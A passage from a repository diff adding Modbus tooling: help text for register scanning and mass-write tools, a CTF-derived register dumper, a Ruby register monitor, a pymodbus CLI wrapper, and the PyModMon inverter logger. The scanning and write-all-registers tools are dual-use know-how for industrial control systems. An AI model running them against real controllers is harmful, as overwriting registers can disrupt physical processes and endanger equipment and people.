Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local 